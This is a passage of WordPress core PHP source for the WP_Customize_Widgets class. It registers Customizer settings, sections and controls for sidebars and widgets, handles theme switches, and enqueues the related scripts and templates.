	 * @return array|false Setting arguments, false otherwise.
	 */
	public function filter_customize_dynamic_setting_args( $args, $setting_id ) {
		if ( $this->get_setting_type( $setting_id ) ) {
			$args = $this->get_setting_args( $setting_id );
		}
		return $args;
	}

	/**
	 * Retrieves an unslashed post value or return a default.
	 *
	 * @since 3.9.0
	 *
	 * @param string $name          Post value.
	 * @param mixed  $default_value Default post value.
	 * @return mixed Unslashed post value or default value.
	 */
	protected function get_post_value( $name, $default_value = null ) {
		if ( ! isset( $_POST[ $name ] ) ) {
			return $default_value;
		}

		return wp_unslash( $_POST[ $name ] );
	}

	/**
	 * Override sidebars_widgets for theme switch.
	 *
	 * When switching a theme via the Customizer, supply any previously-configured
	 * sidebars_widgets from the target theme as the initial sidebars_widgets
	 * setting. Also store the old theme's existing settings so that they can
	 * be passed along for storing in the sidebars_widgets theme_mod when the
	 * theme gets switched.
	 *
	 * @since 3.9.0
	 *
	 * @global array $sidebars_widgets
	 * @global array $_wp_sidebars_widgets
	 */
	public function override_sidebars_widgets_for_theme_switch() {
		global $sidebars_widgets;

		if ( $this->manager->doing_ajax() || $this->manager->is_theme_active() ) {
			return;
		}

		$this->old_sidebars_widgets = wp_get_sidebars_widgets();
		add_filter( 'customize_value_old_sidebars_widgets_data', array( $this, 'filter_customize_value_old_sidebars_widgets_data' ) );
		$this->manager->set_post_value( 'old_sidebars_widgets_data', $this->old_sidebars_widgets ); // Override any value cached in changeset.

		// retrieve_widgets() looks at the global $sidebars_widgets.
		$sidebars_widgets = $this->old_sidebars_widgets;
		$sidebars_widgets = retrieve_widgets( 'customize' );
		add_filter( 'option_sidebars_widgets', array( $this, 'filter_option_sidebars_widgets_for_theme_switch' ), 1 );
		// Reset global cache var used by wp_get_sidebars_widgets().
		unset( $GLOBALS['_wp_sidebars_widgets'] );
	}

	/**
	 * Filters old_sidebars_widgets_data Customizer setting.
	 *
	 * When switching themes, filter the Customizer setting old_sidebars_widgets_data
	 * to supply initial $sidebars_widgets before they were overridden by retrieve_widgets().
	 * The value for old_sidebars_widgets_data gets set in the old theme's sidebars_widgets
	 * theme_mod.
	 *
	 * @since 3.9.0
	 *
	 * @see WP_Customize_Widgets::handle_theme_switch()
	 *
	 * @param array $old_sidebars_widgets
	 * @return array
	 */
	public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) {
		return $this->old_sidebars_widgets;
	}

	/**
	 * Filters sidebars_widgets option for theme switch.
	 *
	 * When switching themes, the retrieve_widgets() function is run when the Customizer initializes,
	 * and then the new sidebars_widgets here get supplied as the default value for the sidebars_widgets
	 * option.
	 *
	 * @since 3.9.0
	 *
	 * @see WP_Customize_Widgets::handle_theme_switch()
	 * @global array $sidebars_widgets
	 *
	 * @param array $sidebars_widgets
	 * @return array
	 */
	public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) {
		$sidebars_widgets                  = $GLOBALS['sidebars_widgets'];
		$sidebars_widgets['array_version'] = 3;
		return $sidebars_widgets;
	}

	/**
	 * Ensures all widgets get loaded into the Customizer.
	 *
	 * Note: these actions are also fired in wp_ajax_update_widget().
	 *
	 * @since 3.9.0
	 */
	public function customize_controls_init() {
		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/widgets.php */
		do_action( 'sidebar_admin_setup' );
	}

	/**
	 * Ensures widgets are available for all types of previews.
	 *
	 * When in preview, hook to {@see 'customize_register'} for settings after WordPress is loaded
	 * so that all filters have been initialized (e.g. Widget Visibility).
	 *
	 * @since 3.9.0
	 */
	public function schedule_customize_register() {
		if ( is_admin() ) {
			$this->customize_register();
		} else {
			add_action( 'wp', array( $this, 'customize_register' ) );
		}
	}

	/**
	 * Registers Customizer settings and controls for all sidebars and widgets.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 * @global array $wp_registered_widget_controls
	 * @global array $wp_registered_sidebars
	 */
	public function customize_register() {
		global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars;

		$use_widgets_block_editor = wp_use_widgets_block_editor();

		add_filter( 'sidebars_widgets', array( $this, 'preview_sidebars_widgets' ), 1 );

		$sidebars_widgets = array_merge(
			array( 'wp_inactive_widgets' => array() ),
			array_fill_keys( array_keys( $wp_registered_sidebars ), array() ),
			wp_get_sidebars_widgets()
		);

		$new_setting_ids = array();

		/*
		 * Register a setting for all widgets, including those which are active,
		 * inactive, and orphaned since a widget may get suppressed from a sidebar
		 * via a plugin (like Widget Visibility).
		 */
		foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) {
			$setting_id   = $this->get_setting_id( $widget_id );
			$setting_args = $this->get_setting_args( $setting_id );
			if ( ! $this->manager->get_setting( $setting_id ) ) {
				$this->manager->add_setting( $setting_id, $setting_args );
			}
			$new_setting_ids[] = $setting_id;
		}

		/*
		 * Add a setting which will be supplied for the theme's sidebars_widgets
		 * theme_mod when the theme is switched.
		 */
		if ( ! $this->manager->is_theme_active() ) {
			$setting_id   = 'old_sidebars_widgets_data';
			$setting_args = $this->get_setting_args(
				$setting_id,
				array(
					'type'  => 'global_variable',
					'dirty' => true,
				)
			);
			$this->manager->add_setting( $setting_id, $setting_args );
		}

		$this->manager->add_panel(
			'widgets',
			array(
				'type'                     => 'widgets',
				'title'                    => __( 'Widgets' ),
				'description'              => __( 'Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).' ),
				'priority'                 => 110,
				'active_callback'          => array( $this, 'is_panel_active' ),
				'auto_expand_sole_section' => true,
				'theme_supports'           => 'widgets',
			)
		);

		foreach ( $sidebars_widgets as $sidebar_id => $sidebar_widget_ids ) {
			if ( empty( $sidebar_widget_ids ) ) {
				$sidebar_widget_ids = array();
			}

			$is_registered_sidebar = is_registered_sidebar( $sidebar_id );
			$is_inactive_widgets   = ( 'wp_inactive_widgets' === $sidebar_id );
			$is_active_sidebar     = ( $is_registered_sidebar && ! $is_inactive_widgets );

			// Add setting for managing the sidebar's widgets.
			if ( $is_registered_sidebar || $is_inactive_widgets ) {
				$setting_id   = sprintf( 'sidebars_widgets[%s]', $sidebar_id );
				$setting_args = $this->get_setting_args( $setting_id );
				if ( ! $this->manager->get_setting( $setting_id ) ) {
					if ( ! $this->manager->is_theme_active() ) {
						$setting_args['dirty'] = true;
					}
					$this->manager->add_setting( $setting_id, $setting_args );
				}
				$new_setting_ids[] = $setting_id;

				// Add section to contain controls.
				$section_id = sprintf( 'sidebar-widgets-%s', $sidebar_id );
				if ( $is_active_sidebar ) {

					$section_args = array(
						'title'      => $wp_registered_sidebars[ $sidebar_id ]['name'],
						'priority'   => array_search( $sidebar_id, array_keys( $wp_registered_sidebars ), true ),
						'panel'      => 'widgets',
						'sidebar_id' => $sidebar_id,
					);

					if ( $use_widgets_block_editor ) {
						$section_args['description'] = '';
					} else {
						$section_args['description'] = $wp_registered_sidebars[ $sidebar_id ]['description'];
					}

					/**
					 * Filters Customizer widget section arguments for a given sidebar.
					 *
					 * @since 3.9.0
					 *
					 * @param array      $section_args Array of Customizer widget section arguments.
					 * @param string     $section_id   Customizer section ID.
					 * @param int|string $sidebar_id   Sidebar ID.
					 */
					$section_args = apply_filters( 'customizer_widgets_section_args', $section_args, $section_id, $sidebar_id );

					$section = new WP_Customize_Sidebar_Section( $this->manager, $section_id, $section_args );
					$this->manager->add_section( $section );

					if ( $use_widgets_block_editor ) {
						$control = new WP_Sidebar_Block_Editor_Control(
							$this->manager,
							$setting_id,
							array(
								'section'     => $section_id,
								'sidebar_id'  => $sidebar_id,
								'label'       => $section_args['title'],
								'description' => $section_args['description'],
							)
						);
					} else {
						$control = new WP_Widget_Area_Customize_Control(
							$this->manager,
							$setting_id,
							array(
								'section'    => $section_id,
								'sidebar_id' => $sidebar_id,
								'priority'   => count( $sidebar_widget_ids ), // place 'Add Widget' and 'Reorder' buttons at end.
							)
						);
					}

					$this->manager->add_control( $control );

					$new_setting_ids[] = $setting_id;
				}
			}

			if ( ! $use_widgets_block_editor ) {
				// Add a control for each active widget (located in a sidebar).
				foreach ( $sidebar_widget_ids as $i => $widget_id ) {

					// Skip widgets that may have gone away due to a plugin being deactivated.
					if ( ! $is_active_sidebar || ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
						continue;
					}

					$registered_widget = $wp_registered_widgets[ $widget_id ];
					$setting_id        = $this->get_setting_id( $widget_id );
					$id_base           = $wp_registered_widget_controls[ $widget_id ]['id_base'];

					$control = new WP_Widget_Form_Customize_Control(
						$this->manager,
						$setting_id,
						array(
							'label'          => $registered_widget['name'],
							'section'        => $section_id,
							'sidebar_id'     => $sidebar_id,
							'widget_id'      => $widget_id,
							'widget_id_base' => $id_base,
							'priority'       => $i,
							'width'          => $wp_registered_widget_controls[ $widget_id ]['width'],
							'height'         => $wp_registered_widget_controls[ $widget_id ]['height'],
							'is_wide'        => $this->is_wide_widget( $widget_id ),
						)
					);
					$this->manager->add_control( $control );
				}
			}
		}

		if ( $this->manager->settings_previewed() ) {
			foreach ( $new_setting_ids as $new_setting_id ) {
				$this->manager->get_setting( $new_setting_id )->preview();
			}
		}
	}

	/**
	 * Determines whether the widgets panel is active, based on whether there are sidebars registered.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_Customize_Panel::$active_callback
	 *
	 * @global array $wp_registered_sidebars
	 *
	 * @return bool Active.
	 */
	public function is_panel_active() {
		global $wp_registered_sidebars;
		return ! empty( $wp_registered_sidebars );
	}

	/**
	 * Converts a widget_id into its corresponding Customizer setting ID (option name).
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return string Maybe-parsed widget ID.
	 */
	public function get_setting_id( $widget_id ) {
		$parsed_widget_id = $this->parse_widget_id( $widget_id );
		$setting_id       = sprintf( 'widget_%s', $parsed_widget_id['id_base'] );

		if ( ! is_null( $parsed_widget_id['number'] ) ) {
			$setting_id .= sprintf( '[%d]', $parsed_widget_id['number'] );
		}
		return $setting_id;
	}

	/**
	 * Determines whether the widget is considered "wide".
	 *
	 * Core widgets which may have controls wider than 250, but can still be shown
	 * in the narrow Customizer panel. The RSS and Text widgets in Core, for example,
	 * have widths of 400 and yet they still render fine in the Customizer panel.
	 *
	 * This method will return all Core widgets as being not wide, but this can be
	 * overridden with the {@see 'is_wide_widget_in_customizer'} filter.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widget_controls
	 *
	 * @param string $widget_id Widget ID.
	 * @return bool Whether or not the widget is a "wide" widget.
	 */
	public function is_wide_widget( $widget_id ) {
		global $wp_registered_widget_controls;

		$parsed_widget_id = $this->parse_widget_id( $widget_id );
		$width            = $wp_registered_widget_controls[ $widget_id ]['width'];
		$is_core          = in_array( $parsed_widget_id['id_base'], $this->core_widget_id_bases, true );
		$is_wide          = ( $width > 250 && ! $is_core );

		/**
		 * Filters whether the given widget is considered "wide".
		 *
		 * @since 3.9.0
		 *
		 * @param bool   $is_wide   Whether the widget is wide, Default false.
		 * @param string $widget_id Widget ID.
		 */
		return apply_filters( 'is_wide_widget_in_customizer', $is_wide, $widget_id );
	}

	/**
	 * Converts a widget ID into its id_base and number components.
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return array Array containing a widget's id_base and number components.
	 */
	public function parse_widget_id( $widget_id ) {
		$parsed = array(
			'number'  => null,
			'id_base' => null,
		);

		if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $matches ) ) {
			$parsed['id_base'] = $matches[1];
			$parsed['number']  = (int) $matches[2];
		} else {
			// Likely an old single widget.
			$parsed['id_base'] = $widget_id;
		}
		return $parsed;
	}

	/**
	 * Converts a widget setting ID (option path) to its id_base and number components.
	 *
	 * @since 3.9.0
	 *
	 * @param string $setting_id Widget setting ID.
	 * @return array|WP_Error Array containing a widget's id_base and number components,
	 *                        or a WP_Error object.
	 */
	public function parse_widget_setting_id( $setting_id ) {
		if ( ! preg_match( '/^(widget_(.+?))(?:\[(\d+)\])?$/', $setting_id, $matches ) ) {
			return new WP_Error( 'widget_setting_invalid_id' );
		}

		$id_base = $matches[2];
		$number  = isset( $matches[3] ) ? (int) $matches[3] : null;

		return compact( 'id_base', 'number' );
	}

	/**
	 * Calls admin_print_styles-widgets.php and admin_print_styles hooks to
	 * allow custom styles from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_styles() {
		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_styles-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_styles' );
	}

	/**
	 * Calls admin_print_scripts-widgets.php and admin_print_scripts hooks to
	 * allow custom scripts from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_scripts() {
		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_scripts' );
	}

	/**
	 * Enqueues scripts and styles for Customizer panel and export data to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global WP_Scripts $wp_scripts
	 * @global array $wp_registered_sidebars
	 * @global array $wp_registered_widgets
	 */
	public function enqueue_scripts() {
		global $wp_scripts, $wp_registered_sidebars, $wp_registered_widgets;

		wp_enqueue_style( 'customize-widgets' );
		wp_enqueue_script( 'customize-widgets' );

		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_enqueue_scripts', 'widgets.php' );

		/*
		 * Export available widgets with control_tpl removed from model
		 * since plugins need templates to be in the DOM.
		 */
		$available_widgets = array();

		foreach ( $this->get_available_widgets() as $available_widget ) {
			unset( $available_widget['control_tpl'] );
			$available_widgets[] = $available_widget;
		}

		$widget_reorder_nav_tpl = sprintf(
			'<div class="widget-reorder-nav"><span class="move-widget" tabindex="0">%1$s</span><span class="move-widget-down" tabindex="0">%2$s</span><span class="move-widget-up" tabindex="0">%3$s</span></div>',
			__( 'Move to another area&hellip;' ),
			__( 'Move down' ),
			__( 'Move up' )
		);

		$move_widget_area_tpl = str_replace(
			array( '{description}', '{btn}' ),
			array(
				__( 'Select an area to move this widget into:' ),
				_x( 'Move', 'Move widget' ),
			),
			'<div class="move-widget-area">
				<p class="description">{description}</p>
				<ul class="widget-area-select">
					<% _.each( sidebars, function ( sidebar ){ %>
						<li class="" data-id="<%- sidebar.id %>" tabindex="0">
							<div><strong><%- sidebar.name %></strong></div>
							<div><%- sidebar.description %></div>
						</li>
					<% }); %>
				</ul>
				<div class="move-widget-actions">
					<button class="move-widget-btn button" type="button">{btn}</button>
				</div>
			</div>'
		);

		/*
		 * Gather all strings in PHP that may be needed by JS on the client.
		 * Once JS i18n is implemented (in #20491), this can be removed.
		 */
		$some_non_rendered_areas_messages    = array();
		$some_non_rendered_areas_messages[1] = html_entity_decode(
			__( 'Your theme has 1 other widget area, but this particular page does not display it.' ),
			ENT_QUOTES,
			get_bloginfo( 'charset' )
		);
		$registered_sidebar_count            = count( $wp_registered_sidebars );
		for ( $non_rendered_count = 2; $non_rendered_count < $registered_sidebar_count; $non_rendered_count++ ) {
			$some_non_rendered_areas_messages[ $non_rendered_count ] = html_entity_decode(
				sprintf(
					/* translators: %s: The number of other widget areas registered but not rendered. */
					_n(
						'Your theme has %s other widget area, but this particular page does not display it.',
						'Your theme has %s other widget areas, but this particular page does not display them.',
						$non_rendered_count
					),
					number_format_i18n( $non_rendered_count )
				),
				ENT_QUOTES,
				get_bloginfo( 'charset' )
			);
		}

		if ( 1 === $registered_sidebar_count ) {
			$no_areas_shown_message = html_entity_decode(
				sprintf(
					__( 'Your theme has 1 widget area, but this particular page does not display it.' )
				),
				ENT_QUOTES,
				get_bloginfo( 'charset' )
			);
		} else {
			$no_areas_shown_message = html_entity_decode(
				sprintf(
					/* translators: %s: The total number of widget areas registered. */
					_n(
						'Your theme has %s widget area, but this particular page does not display it.',
						'Your theme has %s widget areas, but this particular page does not display them.',
						$registered_sidebar_count
					),
					number_format_i18n( $registered_sidebar_count )
				),
				ENT_QUOTES,
				get_bloginfo( 'charset' )
			);
		}

		$settings = array(
			'registeredSidebars'          => array_values( $wp_registered_sidebars ),
			'registeredWidgets'           => $wp_registered_widgets,
			'availableWidgets'            => $available_widgets, // @todo Merge this with registered_widgets.
			'l10n'                        => array(
				'saveBtnLabel'     => __( 'Apply' ),
				'saveBtnTooltip'   => __( 'Save and preview changes before publishing them.' ),
				'removeBtnLabel'   => __( 'Remove' ),
				'removeBtnTooltip' => __( 'Keep widget settings and move it to the inactive widgets' ),
				'error'            => __( 'An error has occurred. Please reload the page and try again.' ),
				'widgetMovedUp'    => __( 'Widget moved up' ),
				'widgetMovedDown'  => __( 'Widget moved down' ),
				'navigatePreview'  => __( 'You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages.' ),
				'someAreasShown'   => $some_non_rendered_areas_messages,
				'noAreasShown'     => $no_areas_shown_message,
				'reorderModeOn'    => __( 'Reorder mode enabled' ),
				'reorderModeOff'   => __( 'Reorder mode closed' ),
				'reorderLabelOn'   => esc_attr__( 'Reorder widgets' ),
				/* translators: %d: The number of widgets found. */
				'widgetsFound'     => __( 'Number of widgets found: %d' ),
				'noWidgetsFound'   => __( 'No widgets found.' ),
			),
			'tpl'                         => array(
				'widgetReorderNav' => $widget_reorder_nav_tpl,
				'moveWidgetArea'   => $move_widget_area_tpl,
			),
			'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(),
		);

		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
			unset( $registered_widget['callback'] ); // May not be JSON-serializable.
		}

		$wp_scripts->add_data(
			'customize-widgets',
			'data',
			sprintf( 'var _wpCustomizeWidgetsSettings = %s;', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) )
		);

		/*
		 * TODO: Update 'wp-customize-widgets' to not rely so much on things in
		 * 'customize-widgets'. This will let us skip most of the above and not
		 * enqueue 'customize-widgets' which saves bytes.
		 */

		if ( wp_use_widgets_block_editor() ) {
			$block_editor_context = new WP_Block_Editor_Context(
				array(
					'name' => 'core/customize-widgets',
				)
			);

			$editor_settings = get_block_editor_settings(
				get_legacy_widget_block_editor_settings(),
				$block_editor_context
			);

			wp_add_inline_script(
				'wp-customize-widgets',
				sprintf(
					'wp.domReady( function() {
					   wp.customizeWidgets.initialize( "widgets-customizer", %s );
					} );',
					wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
				)
			);

			// Preload server-registered block schemas.
			wp_add_inline_script(
				'wp-blocks',
				'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');'
			);

			// Preload server-registered block bindings sources.
			$registered_sources = get_all_registered_block_bindings_sources();
			if ( ! empty( $registered_sources ) ) {
				$filtered_sources = array();
				foreach ( $registered_sources as $source ) {
					$filtered_sources[] = array(
						'name'        => $source->name,
						'label'       => $source->label,
						'usesContext' => $source->uses_context,
					);
				}
				$script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) );
				wp_add_inline_script(
					'wp-blocks',
					$script
				);
			}

			wp_add_inline_script(
				'wp-blocks',
				sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ),
				'after'
			);

			wp_enqueue_script( 'wp-customize-widgets' );
			wp_enqueue_style( 'wp-customize-widgets' );

			/** This action is documented in edit-form-blocks.php */
			do_action( 'enqueue_block_editor_assets' );
		}
	}

	/**
	 * Renders the widget form control templates into the DOM.
	 *
	 * @since 3.9.0
	 */
	public function output_widget_control_templates() {
		?>
		<div id="widgets-left"><!-- compatibility with JS which looks for widget templates here -->
		<div id="available-widgets">
			<div class="customize-section-title">
				<button class="customize-section-back" tabindex="-1">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Back' );
						?>
					</span>
				</button>
				<h3>
					<span class="customize-action">
						<?php
						$panel       = $this->manager->get_panel( 'widgets' );
						$panel_title = isset( $panel->title ) ? $panel->title : __( 'Widgets' );
						/* translators: &#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer. */
						printf( __( 'Customizing &#9656; %s' ), esc_html( $panel_title ) );
						?>
					</span>
					<?php _e( 'Add a Widget' ); ?>
				</h3>
			</div>
			<div id="available-widgets-filter">
				<label for="widgets-search">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search Widgets' );
					?>
				</label>
				<input type="text" id="widgets-search" aria-describedby="widgets-search-desc" />
				<div class="search-icon" aria-hidden="true"></div>
				<button type="button" class="clear-results"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Clear Results' );
					?>
				</span></button>
				<p class="screen-reader-text" id="widgets-search-desc">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'The search results will be updated as you type.' );
					?>
				</p>
			</div>
			<div id="available-widgets-list">
			<?php foreach ( $this->get_available_widgets() as $available_widget ) : ?>
				<div id="widget-tpl-<?php echo esc_attr( $available_widget['id'] ); ?>" data-widget-id="<?php echo esc_attr( $available_widget['id'] ); ?>" class="widget-tpl <?php echo esc_attr( $available_widget['id'] ); ?>" tabindex="0">
					<?php echo $available_widget['control_tpl']; ?>
				</div>
			<?php endforeach; ?>
			<p class="no-widgets-found-message"><?php _e( 'No widgets found.' ); ?></p>
			</div><!-- #available-widgets-list -->
		</div><!-- #available-widgets -->
		</div><!-- #widgets-left -->
		<?php
	}

	/**
	 * Calls admin_print_footer_scripts and admin_print_scripts hooks to
	 * allow custom scripts from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_footer_scripts() {
		/** This action is documented in wp-admin/admin-footer.php */
		do_action( 'admin_print_footer_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-footer.php */
		do_action( 'admin_print_footer_scripts' );

		/** This action is documented in wp-admin/admin-footer.php */
		do_action( 'admin_footer-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}

	/**
	 * Retrieves common arguments to supply when constructing a Customizer setting.
	 *
	 * @since 3.9.0
	 *
	 * @param string $id        Widget setting ID.
	 * @param array  $overrides Array of setting overrides.
	 * @return array Possibly modified setting arguments.
	 */
	public function get_setting_args( $id, $overrides = array() ) {
		$args = array(
			'type'       => 'option',
			'capability' => 'edit_theme_options',
			'default'    => array(),
		);

		if ( preg_match( $this->setting_id_patterns['sidebar_widgets'], $id, $matches ) ) {
			$args['sanitize_callback']    = array( $this, 'sanitize_sidebar_widgets' );
			$args['sanitize_js_callback'] = array( $this, 'sanitize_sidebar_widgets_js_instance' );
			$args['transport']            = current_theme_supports( 'customize-selective-refresh-widgets' ) ? 'postMessage' : 'refresh';
		} elseif ( preg_match( $this->setting_id_patterns['widget_instance'], $id, $matches ) ) {
			$id_base                      = $matches['id_base'];
			$args['sanitize_callback']    = function ( $value ) use ( $id_base ) {
				return $this->sanitize_widget_instance( $value, $id_base );
			};
			$args['sanitize_js_callback'] = function ( $value ) use ( $id_base ) {
				return $this->sanitize_widget_js_instance( $value, $id_base );
			};
			$args['transport']            = $this->is_widget_selective_refreshable( $matches['id_base'] ) ? 'postMessage' : 'refresh';
		}

		$args = array_merge( $args, $overrides );

		/**
		 * Filters the common arguments supplied when constructing a Customizer setting.
		 *
		 * @since 3.9.0
		 *
		 * @see WP_Customize_Setting
		 *
		 * @param array  $args Array of Customizer setting arguments.
		 * @param string $id   Widget setting ID.
		 */
		return apply_filters( 'widget_customizer_setting_args', $args, $id );
	}

	/**
	 * Ensures sidebar widget arrays only ever contain widget IDS.
	 *
	 * Used as the 'sanitize_callback' for each $sidebars_widgets setting.
	 *
	 * @since 3.9.0
	 *
	 * @param string[] $widget_ids Array of widget IDs.
	 * @return string[] Array of sanitized widget IDs.
	 */
	public function sanitize_sidebar_widgets( $widget_ids ) {
		$widget_ids           = array_map( 'strval', (array) $widget_ids );
		$sanitized_widget_ids = array();
		foreach ( $widget_ids as $widget_id ) {
			$sanitized_widget_ids[] = preg_replace( '/[^a-z0-9_\-]/', '', $widget_id );
		}
		return $sanitized_widget_ids;
	}

	/**
	 * Builds up an index of all available widgets for use in Backbone models.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 * @global array $wp_registered_widget_controls
	 *
	 * @see wp_list_widgets()
	 *
	 * @return array List of available widgets.
	 */
	public function get_available_widgets() {
		static $available_widgets = array();
		if ( ! empty( $available_widgets ) ) {
			return $available_widgets;
		}

		global $wp_registered_widgets, $wp_registered_widget_controls;
		require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number().

		$sort = $wp_registered_widgets;
		usort( $sort, array( $this, '_sort_name_callback' ) );
		$done = array();

		foreach ( $sort as $widget ) {
			if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget.
				continue;
			}

			$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
			$done[]  = $widget['callback'];

			if ( ! isset( $widget['params'][0] ) ) {
				$widget['params'][0] = array();
			}

			$available_widget = $widget;
			unset( $available_widget['callback'] ); // Not serializable to JSON.

			$args = array(
				'widget_id'   => $widget['id'],
				'widget_name' => $widget['name'],
				'_display'    => 'template',
			);

			$is_disabled     = false;
			$is_multi_widget = ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) );
			if ( $is_multi_widget ) {
				$id_base            = $wp_registered_widget_controls[ $widget['id'] ]['id_base'];
				$args['_temp_id']   = "$id_base-__i__";
				$args['_multi_num'] = next_widget_id_number( $id_base );
				$args['_add']       = 'multi';
			} else {
				$args['_add'] = 'single';

				if ( $sidebar && 'wp_inactive_widgets' !== $sidebar ) {
					$is_disabled = true;
				}
				$id_base = $widget['id'];
			}

			$list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar(
				array(
					0 => $args,
					1 => $widget['params'][0],
				)
			);
			$control_tpl               = $this->get_widget_control( $list_widget_controls_args );

			// The properties here are mapped to the Backbone Widget model.
			$available_widget = array_merge(
				$available_widget,
				array(
					'temp_id'      => isset( $args['_temp_id'] ) ? $args['_temp_id'] : null,
					'is_multi'     => $is_multi_widget,
					'control_tpl'  => $control_tpl,
					'multi_number' => ( 'multi' === $args['_add'] ) ? $args['_multi_num'] : false,
					'is_disabled'  => $is_disabled,
					'id_base'      => $id_base,
					'transport'    => $this->is_widget_selective_refreshable( $id_base ) ? 'postMessage' : 'refresh',
					'width'        => $wp_registered_widget_controls[ $widget['id'] ]['width'],
					'height'       => $wp_registered_widget_controls[ $widget['id'] ]['height'],
					'is_wide'      => $this->is_wide_widget( $widget['id'] ),
				)
			);

			$available_widgets[] = $available_widget;
		}

		return $available_widgets;
	}

	/**
	 * Naturally orders available widgets by name.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget_a The first widget to compare.
	 * @param array $widget_b The second widget to compare.
	 * @return int Reorder position for the current widget comparison.
	 */
	protected function _sort_name_callback( $widget_a, $widget_b ) {
		return strnatcasecmp( $widget_a['name'], $widget_b['name'] );
	}

	/**
	 * Retrieves the widget control markup.
	 *
	 * @since 3.9.0
	 *
	 * @param array $args Widget control arguments.
	 * @return string Widget control form HTML markup.
	 */
	public function get_widget_control( $args ) {
		$args[0]['before_form']           = '<div class="form">';
		$args[0]['after_form']            = '</div><!-- .form -->';
		$args[0]['before_widget_content'] = '<div class="widget-content">';
		$args[0]['after_widget_content']  = '</div><!-- .widget-content -->';
		ob_start();
		wp_widget_control( ...$args );
		$control_tpl = ob_get_clean();
		return $control_tpl;
	}

	/**
	 * Retrieves the widget control markup parts.
	 *
	 * @since 4.4.0
	 *
	 * @param array $args Widget control arguments.
	 * @return array {
	 *     @type string $control Markup for widget control wrapping form.
	 *     @type string $content The contents of the widget form itself.
	 * }
	 */
	public function get_widget_control_parts( $args ) {
		$args[0]['before_widget_content'] = '<div class="widget-content">';
		$args[0]['after_widget_content']  = '</div><!-- .widget-content -->';
		$control_markup                   = $this->get_widget_control( $args );

		$content_start_pos = strpos( $control_markup, $args[0]['before_widget_content'] );
		$content_end_pos   = strrpos( $control_markup, $args[0]['after_widget_content'] );

		$control  = substr( $control_markup, 0, $content_start_pos + strlen( $args[0]['before_widget_content'] ) );
		$control .= substr( $control_markup, $content_end_pos );
		$content  = trim(
			substr(
				$control_markup,
				$content_start_pos + strlen( $args[0]['before_widget_content'] ),
				$content_end_pos - $content_start_pos - strlen( $args[0]['before_widget_content'] )
			)
		);

		return compact( 'control', 'content' );
	}

	/**
	 * Adds hooks for the Customizer preview.
	 *
	 * @since 3.9.0
	 */
	public function customize_preview_init() {
		add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue' ) );
		add_action( 'wp_print_styles', array( $this, 'print_preview_css' ), 1 );
		add_action( 'wp_footer', array( $this, 'export_preview_data' ), 20 );
	}

	/**
	 * Refreshes the nonce for widget updates.
	 *
	 * @since 4.2.0
	 *
	 * @param array $nonces Array of nonces.
	 * @return array Array of nonces.
	 */
	public function refresh_nonces( $nonces ) {
		$nonces['update-widget'] = wp_create_nonce( 'update-widget' );
		return $nonces;
	}

	/**
